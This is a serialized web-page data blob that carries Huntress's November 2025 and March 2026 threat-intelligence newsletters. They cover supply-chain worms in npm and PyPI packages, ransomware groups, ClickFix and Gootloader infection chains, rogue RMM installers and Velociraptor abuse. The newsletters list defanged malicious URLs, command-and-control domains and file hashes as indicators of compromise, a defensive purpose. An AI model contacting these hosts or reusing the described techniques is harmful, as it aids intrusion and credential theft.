_242":322,"_244":245,"_246":323,"_248":1442,"_250":325,"_252":326,"_254":327,"_77":1443,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":1444,"_298":334},[],{},[],"zbdjulw3tko",{},[1445,1446,1447],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":1450},{"_266":1449},{"_266":1448},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":1452},{"_211":346,"_213":347,"_34":1453,"_216":347,"_218":1454,"_54":344,"_222":350,"_224":221,"_225":1455,"_227":228,"_56":352,"_527":1014,"_230":230,"_231":1456,"_233":1016,"_235":236,"_237":1457},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":1458,"_360":361,"_250":362,"_252":363,"_254":364,"_77":1459,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":1460,"_298":371},[],{},[],{},[1461,1462,1463],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":1480},{"_266":1472},{"_266":1464},{"_205":206,"_54":268,"_32":248,"_209":1465},{"_211":733,"_213":1026,"_34":1466,"_216":1028,"_218":1467,"_54":268,"_222":1030,"_224":733,"_225":1468,"_227":546,"_56":180,"_230":230,"_231":1469,"_233":1033,"_235":236,"_237":1470},{"_56":180},[],{"_551":1471,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":308,"_32":248,"_209":1473},{"_211":539,"_213":563,"_34":1474,"_216":565,"_218":1475,"_54":308,"_222":567,"_224":539,"_225":1476,"_227":546,"_56":569,"_230":230,"_231":1477,"_233":1042,"_235":236,"_237":1478},{"_56":569},[],{"_551":1479,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":270,"_32":248,"_209":1481},{"_211":539,"_213":540,"_34":1482,"_216":542,"_218":1483,"_54":270,"_222":544,"_224":539,"_225":1484,"_227":546,"_56":547,"_230":230,"_231":1485,"_233":1051,"_235":236,"_237":1486},{"_56":547},[],{"_551":1487,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":381,"_32":208,"_209":1489},{"_211":346,"_213":383,"_34":1490,"_216":383,"_218":1491,"_54":381,"_222":386,"_224":221,"_225":1492,"_227":228,"_56":388,"_527":1059,"_230":230,"_231":1493,"_233":1061,"_283":17,"_235":236,"_237":1494},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":1495,"_250":396,"_252":397,"_254":398,"_77":1496,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":1497},[],{},[],{},[1498,1499,1500],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":1517},{"_266":1509},{"_266":1501},{"_205":206,"_54":268,"_32":248,"_209":1502},{"_211":733,"_213":1026,"_34":1503,"_216":1028,"_218":1504,"_54":268,"_222":1030,"_224":733,"_225":1505,"_227":546,"_56":180,"_230":230,"_231":1506,"_233":1075,"_235":236,"_237":1507},{"_56":180},[],{"_551":1508,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":308,"_32":248,"_209":1510},{"_211":539,"_213":563,"_34":1511,"_216":565,"_218":1512,"_54":308,"_222":567,"_224":539,"_225":1513,"_227":546,"_56":569,"_230":230,"_231":1514,"_233":1084,"_235":236,"_237":1515},{"_56":569},[],{"_551":1516,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":270,"_32":248,"_209":1518},{"_211":539,"_213":540,"_34":1519,"_216":542,"_218":1520,"_54":270,"_222":544,"_224":539,"_225":1521,"_227":546,"_56":547,"_230":230,"_231":1522,"_233":1093,"_235":236,"_237":1523},{"_56":547},[],{"_551":1524,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":1528},"October 2025",{"_58":59,"_60":1532,"_62":1533,"_64":1534,"_66":1535,"_68":1536,"_74":1537,"_77":1538,"_56":1531,"_79":1539,"_81":1540,"_83":1541,"_85":1542,"_87":1543,"_89":90,"_91":1544},"a4e9e565d7514511b94b6c4e87a12f9d","Threat View from the Lens of Huntress Adversary Tactics: November 2025",[1695,1696,1697],{"_94":95},[1596,1597,1598,1599,1600],{"_186":1595,"_188":189,"_190":191,"_183":192},{},{"_122":97,"_94":17},{"_181":1594,"_183":1531},{"_106":1545},"Sun Nov 30 2025 00:00:00 GMT-0500 (Eastern Standard Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"november-2025",{"_94":95},[93],[1546,1547,1548,1549,1550],{"_113":1584,"_115":1585,"_117":705,"_118":169},{"_113":906,"_115":1574,"_117":908,"_118":484},{"_113":154,"_115":1569,"_117":1570,"_118":156},{"_113":128,"_115":1557,"_117":1558,"_118":131},{"_113":114,"_115":1551,"_117":97,"_118":119},[1552,1553],{"_122":1555,"_102":1556,"_682":17,"_125":97},{"_122":1554,"_102":452,"_682":17,"_125":97},"

Greg Linares talked about his background and gave advice for the next generation of hackers (including a shout-out to the Huntress CTF!) during a recent interview with TechInformed.

","

In our recent Tradecraft Tuesday episode, Truman Kain, principal product researcher, and Lindsey O’Donnell-Welch, technical community engagement writer at Huntress, talked about the top shadiest phishing tradecraft techniques we’ve seen this year at Huntress.

$\"\"$

You can find the full episode here.

","Tradecraft Tuesday: Looking Back (And Forward) at Phishing Tactics",[1559,1560,1561,1562,1563],"

",{"_122":1568,"_102":470,"_682":17,"_125":97},{"_122":1567,"_102":468,"_682":17,"_125":97},{"_122":1566,"_102":466,"_682":17,"_125":97},{"_122":1565,"_102":464,"_682":17,"_125":97},{"_122":1564,"_102":890,"_125":97},"

Huntress products are now available on the Microsoft Marketplace. Whether users are looking to level up endpoint security, increase identity resilience, or just simplify how they manage security tools, adding Huntress to their Microsoft environment just got way easier. Learn more here!

APIs for Escalations and Incident Report responses are now available. Huntress has released several new APIs including the first set of write APIs! The first is an Escalation API that allows for listing Escalations and getting the details of a specific escalation, and an API endpoint to enable resolution of the most common escalations. There is also a new API endpoint for Incident Reports that allows for the approval or rejection of remediations, and resolving Incident Reports.

New languages are available for Threat Summary Reports. Huntress Platform Administrators can now set the default language for Threat Summary Reports. Reports can be configured to be in English (the default language), Dutch, French, and Spanish.

Portal-Wide Dark Mode is Here! All pages in the Portal now support the dark mode theme. Use the gear icon in the upper right corner of the Portal to switch to your preferred theme.

","

Huntress SAT now has two new options in the Standard Reports tab. One allows you to track the progress of learning by episode rather than assignment. The other gives insight into simulated phishing across all learners and campaigns. We are releasing these to all but are still looking for additional feedback.

We also have a new capability, General Manager View, that grants someone access to a real time report showing assignment and phishing data on all learners in an organization–without giving them access to any administrative tools. This is just like the real-time manager report, but it’s expanded to include all employees.

Finally, we have released the \"Huntress SAT Report a Phish\" button for Gmail! It is now live in the marketplace and available to anyone, we welcome your feedback!

","

Our Threat intelligence team and Detection Engineering team is always focused on closing the gaps attackers exploit. We've recently deployed two major new capabilities built from real-world threat hunting that deliver clarity and immediate value:

Attackers often hide successful credential theft by distributing failed login attempts across multiple users, hosts, or services. Traditional SIEMs are easily overwhelmed by this \"noisy\" data, generating thousands of alerts while missing the one successful intrusion. To combat this, we engineered new Brute Force Correlation Detections that track and connect activity across users, hosts, and various log sources. This powerful engine identifies the true intrusion path attackers use, allowing us to expose successful credential attacks the moment they occur. By eliminating the raw login noise and focusing on the attack chain, our SOC can ensure a swift response before damage is done.

Ingesting raw network flow data creates a massive data lake, often leading to slow searches and prohibitively high storage costs—a common SIEM pain point. Our engineers developed a proprietary method for Network Traffic Aggregation & Detection Rules that intelligently filters and condenses this telemetry right at the point of ingestion. We only store the handful of signals proven to be security-relevant, turning a \"firehose\" of thousands of raw logs into clear, real-time detections. This enables us to spot attacker movement, reconnaissance, and unusual traffic patterns faster, while simultaneously cutting down massive storage and ingestion costs for our partners.

","

We've enhanced Huntress Managed ITDR by introducing a free agent for ITDR customers. Previously, the Identity Disablement functionality for Active Directory synced identities was unavailable without also having a Managed EDR license. Now, this lightweight, no-cost agent unlocks account disablement for AD-synced identities so you can quickly contain identity threats. Managed ITDR customers can download this free agent right from the Huntress Portal.

This month we announced the acquisition of Inside Agent, a London-based company committed to hardening Microsoft 365 environments against external and insider threats. This acquisition is core to the development of our new Identity Security Posture Management (ISPM) product, planned to launch in 2026. For current Huntress Managed ITDR users, ISPM will serve as a proactive layer to add to their detection and response. Put simply, ensuring fewer gaps means fewer opportunities for attackers. Learn more here!

","

Defender Exclusion Settings can now be tweaked to add additional endpoints and organizations: When creating exclusion settings for Microsoft Defender Antivirus in the Huntress Portal, you can now add individual endpoints and organizations to existing exclusion settings, instead of needing to create a brand new exclusion setting. This saves time and increases efficiency when a new endpoint or organization is onboarded.

",[1571],"

The Shai-Hulud NPM worm is a shifting supply chain attack that exploits developer credentials to compromise hundreds of packages in the Node Package Manager (NPM) registry, affecting major organizations like Postman and Zapier. Initially in September 2025, the first version operated during the post-install phase, harvesting credentials such as GitHub PATs, NPM tokens, and cloud API keys, then exfiltrating them to attacker-controlled endpoints or public repositories while propagating by injecting malware into other packages maintained by victims. However, in the last week of November, a new variant, Shai-Hulud 2, was released, and it has evolved to execute in the pre-install phase for broader impact. It currently incorporates obfuscated JavaScript disguised as Bun installers, cross-platform support including Windows, and enhanced persistence via GitHub Actions backdoors, specifically self-hosted runners and workflows that allow code execution.

Key differences include a shift from pure theft to destructive elements, like wiping home directories upon failure, and more sophisticated exfiltration using cross-victim repositories, which has amplified the campaign's scale to over 700 packages and 25,000 malicious repositories and counting.

New adaptations in the worm show increasing sophistication, including timing changes to evade detection, what appears to be AI-assisted obfuscation, multi-cloud SDK bundling for privilege escalation, and environment-aware execution in CI/CD pipelines. Indicators of Compromise (IoCs) encompass specific file hashes (e.g., SHA1 for bun_environment.js: d60ec97eea19fffb4809bc35b91033b52490ca11), artifacts like cloud.json and discussion.yaml, unexpected GitHub repos with \"Sha1-Hulud\" themes, and domains such as webhook.site. As of November 26, 2025, activity persists and we’re still seeing creation of new repositories, despite mitigations, that are transitioning to private repos advertising unrelated AI services, exposing valid secrets from hundreds of entities, and enabling potential follow-on threats like ransomware.

Cybersecurity teams should prioritize dependency auditing, credential rotation, development dependency cooldown integration, and tools like Semgrep for ongoing defense against this evolving open-source ecosystem risk.

",{"_122":1572,"_102":1573,"_682":17,"_125":97},"

SLSH, previously known as Shiny Hunters, Scattered Spider, and Lapsus$, continues to evolve its tactics into a more structured threat with the development of \"ShinySp1d3r\" ransomware, supporting Windows, Linux, and ESXi environments for kernel-level attacks, incorporating automated bots, crypto laundering via Telegram gifts, and psyops against researchers and victims.

Key differences include a shift from opportunistic leaks to double extortion (theft plus encryption) and broader scale via supply-chain breaches. Adaptations in SLSH operations reflect increasing sophistication, monetization via RaaS beta testing, and targeting expansions via third-party supply chain access. They’ve also started conducting insider threat poaching or grooming, offering money laundering through Telegram’s star service, and offering direct rewards starting at $30,000 USD for access to tokens and sessions from employees of targeted corporations. This activity directly led to a Crowdstrike employee being fired in mid-November after getting caught sharing corporate screenshots with the group. The group continues to show chaotic behavior, with threats against researchers, including offering bounties for false FBI reports targeting security researchers who investigate them. $1,000 bounties were amplified recently by also sharing recordings of voicemails of these reports to their followers in their Telegram channel, promoting crowd-based tactics to target investigators.

In November, the rest of the ransomware scene was extremely active, with groups like Qilin and Akira still dominating headlines by racking up the most victims. Attacks spiked 41% in October alone, reaching 594 public incidents. Supply-chain hacks continue to be a concern. This was highlighted by Qilin's \"Korean Leaks\" operation, where they breached a South Korean-managed service provider. In this incident, they encrypted files and stole data from 28 downstream companies. Akira continues to also be a threat, as noted in the updated FBI and CISA advisory detailing their TTPs.The advisory highlights tactics like VPN credential abuse in over half of their breaches. Akira to date is accredited with nearly $250 million in ransom payments. They’ve continued targeting the healthcare company Zoetis (exposing over 500,000 individuals’ personal info) and construction firm Fineline Architectural Millwork. In addition, the ransomware group Everest demanded $6 million from Spanish airline Iberia following a disruptive attack that leaked internal files. The infamous LockBit group appeared to continue development with the latest 5.0 revision targeting Windows, Linux, and virtual environments and hosts. New players like Tengu, Genesis, Radiant, Kryptos, and Sinobi are steadily gaining popularity with Sinobi alone, claiming 69 victims since July.

","Ransomware",[1575,1576,1577],{"_122":1582,"_102":1583,"_682":17,"_125":97},{"_122":1580,"_102":1581,"_682":17,"_125":97},{"_122":1578,"_102":1579,"_682":17,"_125":97},"

Retrospective threat hunts by the Tactical Response team uncovered several interesting incidents involving malware loaders. Here are a few examples:

A threat actor tried to execute the OysterLoader malware by disguising it as a Microsoft Teams installer, but failed miserably. On November 11, an employee came across a malicious ad, which led them to download the binary (MSTeamsSetup.exe) from the URL hxxps://teams-support-software[.]icu/. OysterLoader, a malware loader first seen in 2023, has commonly been used in malvertising campaigns. Ultimately, the execution was unsuccessful.
In another incident on November 4, an end-user executed a malicious process (ProCircuit.exe) that used DLL (Dynamic Link Library) sideloading to load and inject infostealer malware into NexusH128.exe. DLL sideloading is a detection evasion technique where threat actors take advantage of the way that Windows searches for and loads DLL files in order to dupe a program into loading a malicious DLL file.

","Malware loader incidents","

The SOC team’s Ben Folland and Anna Pham recently came out with an in-depth blog post on a ClickFix campaign with several unique TTPs, including:

Both a standard ClickFix “Robot Verification” lure and a newer (more convincing) “Windows Update” page, which continue to rely on the traditional ClickFix technique of convincing the victim to manually open the Windows Run box to paste a malicious command.
The attack then uses steganography to conceal the final malware stages within an image. This involves deployment of the .NET steganographic loader, which extracts Donut-packed shellcode hidden inside the pixel data of PNG images.
The attack then delivers infostealer malware, including LummaC2 and Rhadamanthys.

\n\n

$\"\"$ The “human verification” ClickFix lure

We’ve seen several ClickFix variants over the past year. Organizations should train end-users to spot these ClickFix-lure tactics. In Ben and Anna’s blog, they also offered various mitigation strategies for businesses, like disabling the Run prompt via Registry changes or Group Policy.

","New ClickFix techniques unearthed in infostealer attacks","

Anna Pham, with our Hunting and Response team, documented and wrote an analysis about Gootloader, a popular malware loader that threat actors use to gain initial access. After a period of reduced activity, Gootloader operations briefly resurged in March 2025 before going quiet again, only to return recently with renewed activity. Since October 27, Huntress has seen three Gootloader infections, including two that led to hands-on-keyboard intrusions with domain controller compromise within 17 hours of initial infection. Here are a few unique tradecraft insights we’ve seen with Gootloader’s return:

Gootloader is now leveraging custom WOFF2 fonts with glyph substitution to obfuscate filenames. This transforms gibberish characters in source code into legitimate-looking filenames when rendered in browsers.
Users were infected while searching for “missouri cover utility easement roadway” via Bing and visiting the first page that showed up in the results. Threat actors exploited WordPress comment endpoints to deliver XOR-encrypted ZIP payloads with unique keys per file.
The infection operates through a well-established criminal partnership: Storm-0494 handles Gootloader operations and initial access, then hands off compromised environments to Vanilla Tempest for post-exploitation and ransomware deployment.

","Gootloader’s back, back again","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F0579e7542a4a40a984b6b99dcc6f1850",[1586,1587],{"_122":1591,"_102":1592,"_682":95,"_125":1593},{"_122":1588,"_102":1589,"_682":95,"_125":1590},"

‘Tis the season for holiday phishing: threat actors are using Thanksgiving, Black Friday, and Christmas in their phishing attack lures this year.

On November 2, a user was tricked into executing a malicious process (Thanksgiving-iv.exe) from the directory C:\\Users\\REDACTED\\Downloads\\ on the impacted host. Further inspection revealed that this file is a rogue installer for GoTo Resolve RMM. The victim’s Firefox browser artifacts revealed that this installer was downloaded from the URL https[:]//pub-0e9274b4f4a74997bcafd5c5c778bf91[.]r2[.]dev/Thanksgiving-iv.exe. The malicious RMM then deployed a rogue ScreenConnect installer into the directory C:\\Program Files (x86)\\ScreenConnect Client (3bf4055180e70e5b), which was configured for the domain wilkensealsivc[.]shop.

During a retrospective threat hunt, our tactical response team found an incident on November 5 in which a user executed a malicious MSI file ([REDACTED]_Christmas_Punchbowl_invite.msi) from the directory C:\\Users\\REDACTED\\Downloads\\ on the impacted host. This resulted in the deployment of a ScreenConnect RMM, which was configured to the domain vhagov[.]org for command and control.

Special thanks to Austin Worline and Jai Minton for flagging the incidents using the Thanksgiving and Christmas lures!

","Happy holidays! Here’s a (malicious) RMM","

Threat actors are taking advantage of the holidays with seasonal lures. As always, be wary of urgent language, unanticipated requests, strange sender email addresses, and sketchy domains in emailed links.

","

In November, we saw threat actors exploiting a recently patched remote code execution vulnerability in Windows Server Update Services (WSUS). After exploiting CVE-2025-59287, threat actors then installed Velociraptor, a legitimate, open-source tool, used for command and control (C2) of the compromised endpoint. Props to Ben Folland with the SOC team for his investigation into the incident!

Velociraptor is a digital forensics and incident response (DFIR) tool that enables teams to quickly collect and analyze artifacts from across a network, giving them a better understanding of security incidents. Threat actors have been abusing Velociraptor to set up communications with C2 servers.

After the threat actor installed Velociraptor, we saw a number of Base64-encoded PowerShell commands, which were child processes of Velociraptor.exe. These commands launched a series of discovery queries, helping the threat actor gather information about users, running services, configurations, and more.

$\"\"$ EDR signals showing the threat actor installing an MSI package, running Velociraptor, and performing discovery commands

","A Velociraptor DFIR tool uptick","

This isn’t the first incident involving misuse of Velociraptor - in fact, we first tracked threat actors abusing the tool back to November 2024. However, in the past three months, there’s been a significant uptick of incidents involving the use of the Velociraptor for remote access into the compromised endpoint. Learn more in our blog post about the incident.

","Huntress Adversary Tactics examines November 2025 threats including Gootloader's resurgence, new ClickFix infostealer techniques, and a surge in malicious RMM tool deployments observed across the SOC.",{"_193":194,"_195":196,"_104":197},{"_203":1678},{"_203":1661},{"_203":1644},{"_203":1616},{"_203":1601},{"_205":206,"_54":207,"_32":208,"_209":1602},{"_211":212,"_213":214,"_34":1603,"_216":217,"_218":1604,"_54":207,"_220":221,"_222":223,"_224":221,"_225":1605,"_227":228,"_56":229,"_230":230,"_231":1606,"_233":1607,"_235":236,"_237":1608},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":1609,"_250":251,"_252":253,"_254":255,"_77":1610,"_56":229,"_257":258,"_259":260,"_85":261,"_91":1611},[],{},[],"stmtvdqlw69",{},[1612,1613],{"_181":263,"_183":229},[93],{"_266":1615},{"_266":1614},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":272,"_32":208,"_209":1617},{"_211":274,"_213":275,"_34":1618,"_216":275,"_218":1619,"_54":272,"_222":278,"_224":221,"_225":1620,"_227":228,"_56":280,"_527":528,"_230":230,"_231":1621,"_233":530,"_283":17,"_235":236,"_237":1622},{"_240":285,"_242":286,"_246":287,"_248":1623,"_250":289,"_252":290,"_77":1624,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":1625,"_298":299},[],{},[],{},[1626,1627],{"_181":300,"_301":17,"_302":17,"_183":303},[93],{"_266":1636},{"_266":1628},{"_205":206,"_54":270,"_32":248,"_209":1629},{"_211":539,"_213":540,"_34":1630,"_216":542,"_218":1631,"_54":270,"_222":544,"_224":539,"_225":1632,"_227":546,"_56":547,"_230":230,"_231":1633,"_233":549,"_235":236,"_237":1634},{"_56":547},[],{"_551":1635,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":308,"_32":248,"_209":1637},{"_211":539,"_213":563,"_34":1638,"_216":565,"_218":1639,"_54":308,"_222":567,"_224":539,"_225":1640,"_227":546,"_56":569,"_230":230,"_231":1641,"_233":571,"_235":236,"_237":1642},{"_56":569},[],{"_551":1643,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":310,"_32":208,"_209":1645},{"_211":274,"_213":312,"_34":1646,"_216":312,"_218":1647,"_54":310,"_220":221,"_222":582,"_224":221,"_225":1648,"_227":228,"_56":317,"_230":230,"_231":1649,"_233":1650,"_235":236,"_237":1651},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":1652,"_250":325,"_252":326,"_254":327,"_77":1653,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":1654,"_298":334},[],{},[],"3fafc2lqa5t",{},[1655,1656,1657],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":1660},{"_266":1659},{"_266":1658},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":1662},{"_211":346,"_213":347,"_34":1663,"_216":347,"_218":1664,"_54":344,"_220":221,"_222":600,"_224":221,"_225":1665,"_227":228,"_56":352,"_230":230,"_231":1666,"_233":1667,"_235":236,"_237":1668},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":1669,"_360":361,"_250":362,"_252":363,"_254":364,"_77":1670,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":1671,"_298":371},[],{},[],"o1qif115r9g",{},[1672,1673,1674],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":1677},{"_266":1676},{"_266":1675},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":1679},{"_211":346,"_213":383,"_34":1680,"_216":383,"_218":1681,"_54":381,"_220":221,"_222":618,"_224":221,"_225":1682,"_227":228,"_56":388,"_230":230,"_231":1683,"_233":1684,"_283":17,"_235":236,"_237":1685},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":1686,"_250":396,"_252":397,"_254":398,"_77":1687,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":1688},[],{},[],"u4dhzm7edm",{},[1689,1690,1691],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":1694},{"_266":1693},{"_266":1692},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":1698},"November 2025",{"_58":59,"_60":1702,"_62":1703,"_64":1704,"_66":1705,"_68":1706,"_70":1707,"_74":1708,"_77":1709,"_56":1701,"_79":1710,"_81":1711,"_83":1712,"_85":1713,"_87":1714,"_89":90,"_91":1715},"071542bc0f0e4e2c9bd9e787cd7f0158","Threat View from the Lens of Huntress Adversary Tactics: March 2026",[1901,1902,1903],{"_94":95},[1785,1786,1787,1788,1789,1790],{"_186":1784,"_188":189,"_190":191,"_183":192},{},{"_122":1783,"_102":97,"_94":95},{"_122":97,"_94":17},{"_181":1782,"_183":1701},{"_106":1716},"Tue Mar 31 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"march-2026",{"_94":95},[93],[1717,1718,1719,1720,1721,1722],{"_113":1771,"_115":1772,"_117":1773,"_118":169},{"_113":906,"_115":1754,"_117":908,"_118":484},{"_113":154,"_115":1747,"_117":660,"_118":156},{"_113":128,"_115":1737,"_117":1738,"_118":131},{"_113":141,"_115":1729,"_117":1730,"_118":144},{"_113":114,"_115":1723,"_117":97,"_118":119},[1724,1725],{"_122":1728,"_102":1556,"_682":17,"_125":97},{"_122":1726,"_102":1727,"_682":17,"_125":97},"

In the premiere episode of _declassified, we ripped the hoodie off the lone-wolf hacker myth and showed cybercrime for what it is: a global business. John Hammond and Jim Browning took viewers inside real scam call centers—with HR, training, IT, and QA—masquerading as tech support, banks, carriers, and utilities while raking in millions. Using live CCTV and call audio, they showed scammers working scripted funnels and KPIs, then dug into how generative AI was already supercharging scams. Read the recap here!

$\"\"$ John Hammond and Jim Browning talk about scam call centers

Looking ahead: On May 20, Huntress Principal Product Researcher Truman Kain and a special guest will break down how overlooked security obligations fuel cybercriminals and cost you later. Sign up here!

","The Newest _declassified Episode","

During the March 2026 Tradecraft Tuesday, Huntress researchers Greg Linares, Casey Smith, and Truman Kain presented “2026 Cyber Threat Report: Year in Review,” unpacking the latest findings from the Huntress 2026 Cyber Threat Report. The webinar covered evolving ransomware tradecraft, ClickFix-style social engineering, and rising identity-based threats like AiTM phishing, BEC and device code abuse, before closing with practical detection and defense takeaways tailored to the environments Huntress protects.

$\"\"$ March Tradecraft Tuesday

You can check out the full webinar here - and here is the link to the Huntress 2026 Cyber Threat Report so you can follow along.

",[1731,1732],"

At Huntress, we spin up “Rapid Responses” when there is a vulnerability or threat being used by attackers to escalate the deployment of malware at scale. When we hear about a potential vulnerability, the Adversary Tactics team works across Huntress to figure out the potential impact, update our customers, and provide documentation for the security community. Here are two incidents we handled in the last month:

",{"_122":1735,"_102":1736,"_682":17,"_125":97},{"_122":1733,"_102":1734,"_682":17,"_125":97},"

In March, a Huntress investigation revealed that threat actors were abusing Railway.com’s PaaS to run a large-scale Microsoft 365 device code phishing and token replay campaign, targeting 344 organizations across five countries. In the Rapid Response, authors Dave Kleinatland, Jamie Levy, Rich Mozeleski, and Erin Meyers analyzed the Railway/EvilTokens infrastructure, documented how the phishing and token theft work, and described how Huntress blocked Railway IP ranges for eligible tenants.

$\"\"$ Code phishing in action

Check out the full Rapid Response blog here, which includes detection queries, IoCs, and hardening guidance so teams can hunt for activity and tighten M365 controls.

","Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure","

A sophisticated supply chain attack hit the axios npm package, which has over 100 million weekly downloads. Attackers hijacked a maintainer’s account to publish malicious versions (1.14.1 and 0.30.4) containing a hidden dependency, plain-crypto-js. This dependency executed a silent script during installation, deploying a cross-platform Remote Access Trojan (RAT) to steal credentials from Windows, macOS, and Linux systems.

$\"\"$ Huntress EDR detecting the execution of this attack chain

Huntress detected the first infections 89 seconds after the malicious package went live. Our team provided critical remediation steps—including rotating all environment creds and auditing lockfiles—to help teams recover from the compromise. Check out the full blog post about the attack here.

","Supply-Chain Compromise of axios npm Package",[1739,1740,1741,1742],"

Check out this month’s Product Lab, where Huntress CEO Kyle Hanslovan and CTO Chris Bisnett tuned in live from RSA to talk about product updates, upcoming features, and the vibes from the conference this year.

$\"\"$ March 2026 Product Lab

",{"_122":1746,"_102":470,"_125":97},{"_122":1745,"_102":468,"_125":97},{"_122":1744,"_102":466,"_125":97},{"_122":1743,"_102":464,"_125":97},"

Report Phishing plug-ins now upload complete messages via API, sending reported phishing emails as full message attachments with all headers preserved and including the learner as a recipient to give admins richer context for investigation.

A new Smishing Threat Simulation puts learners in the driver’s seat with Joey Broke, using AI to craft realistic SMS phishing attacks and spotlight just how cheap and easy it is for attackers to launch convincing smishing campaigns at scale.

$\"\"$ Smishing threat simulation episode artwork

","

This month in Managed SIEM, AWS CloudTrail log source was released with an improved onboarding workflow. The Source Management -> Categories page now contains icon information with links for each log source type, which link to the appropriate support configuration guide. Finally, the Huntress Linux agent now supports Syslog collection for Managed SIEM.

","

Managed ITDR for Google Workspace Now Live: We’re excited to announce that we’ve released Managed ITDR for Google Workspace (GWS)! This is a huge moment for Huntress. Identity attacks aren’t just a Microsoft problem - attackers go wherever identities live. And now, we meet them there. With Managed ITDR for GWS, we’re bringing the same outcomes our partners and customers already trust us for - real detection, real response, human-led - into Google Workspace environments. Read more about Managed ITDR for GWS in our new blog, Huntress Managed ITDR for Google Workspace: Defending the New Identity Attack Surface.

BEC is now an identity problem in Google Workspace: In a new blog, Erin Meyers and Jenko Hwong break down how business email compromise in Google Workspace has evolved from simple invoice scams into multi-stage identity abuse, where attackers steal credentials or tokens, abuse OAuth, hide alerts with mailbox rules, and pivot into other SaaS apps via password resets and MFA emails—proving that BEC is now an ITDR challenge that demands identity-centric detection of auth behavior, OAuth consent, mailbox changes, and cross-SaaS activity, not just traditional email content filtering.

","

Attack Disruption: The Managed EDR agent can now interfere with attackers as they move in real time. By automatically terminating malicious processes, we disrupt the attacker’s playbook forcing them to adapt on the fly giving our SOC analysts precious minutes to respond and contain the threat. See how Attack Disruption prevented ransomware in this blog.

Defender & Process Insight exclusions tightened: You can now bulk-approve and set Microsoft Defender exclusions to last indefinitely, while new Process Insight exclusions can no longer be created self-service—partners will work directly with Huntress if performance issues arise, preserving critical EDR visibility.

Vulnerable Driver Detection: Vulnerable Drivers (aka: Bring Your Own Vulnerable Driver, BYOVD) are the foundations of most EDR Killers. Attackers use vulnerable drivers to escalate their privileges on a system with the ultimate goal of disabling security products to carry out their attacks unimpeded. Managed EDR detects when vulnerable drivers are loaded on a system so we can take action before the attackers do.

",[1748,1749],{"_122":1752,"_102":1753,"_682":17,"_125":97},{"_122":1750,"_102":1751,"_682":17,"_125":97},"

Russian APT TA446/Star Blizzard is now using the leaked DarkSword iOS exploit kit in targeted spear-phishing campaigns, sending Atlantic Council–themed emails that drive iPhone users through DarkSword to deploy GHOSTBLADE and related tooling for data theft and intelligence collection. In parallel, the Coruna exploit kit—an evolution of the 2023 Operation Triangulation framework—is being used in web-based attacks against iOS 13–17.2.1, triggered simply by visiting compromised sites. Apple has responded with Lock Screen “Critical Software” alerts urging users on older iOS/iPadOS versions to update immediately to reduce exposure.

","iOS Exploit Kit Concerns","

TeamPCP is running a developer-side crime spree. After slipping into security tools like Trivy via tampered GitHub Actions tags and booby-trapping NPM and Docker Hub, they crashed PyPI with backdoored Telnyx releases. Those two “updates” (4.87.1, 4.87.2) quietly pulled a credential-stealing payload hidden in a WAV file, then ran it in memory on Windows, macOS, and Linux as soon as you imported the package.

The result: instant, high-trust access to CI/CD and dev laptops, perfect for ripping out secrets and pivoting into dozens of orgs at once—no zero-day required.

","TeamPCP’s Supply Chain Spree",[1755,1756,1757,1758],{"_122":1768,"_102":1769,"_682":95,"_125":1770},{"_122":1765,"_102":1766,"_682":95,"_125":1767},{"_122":1762,"_102":1763,"_682":95,"_125":1764},{"_122":1759,"_102":1760,"_682":95,"_125":1761},"

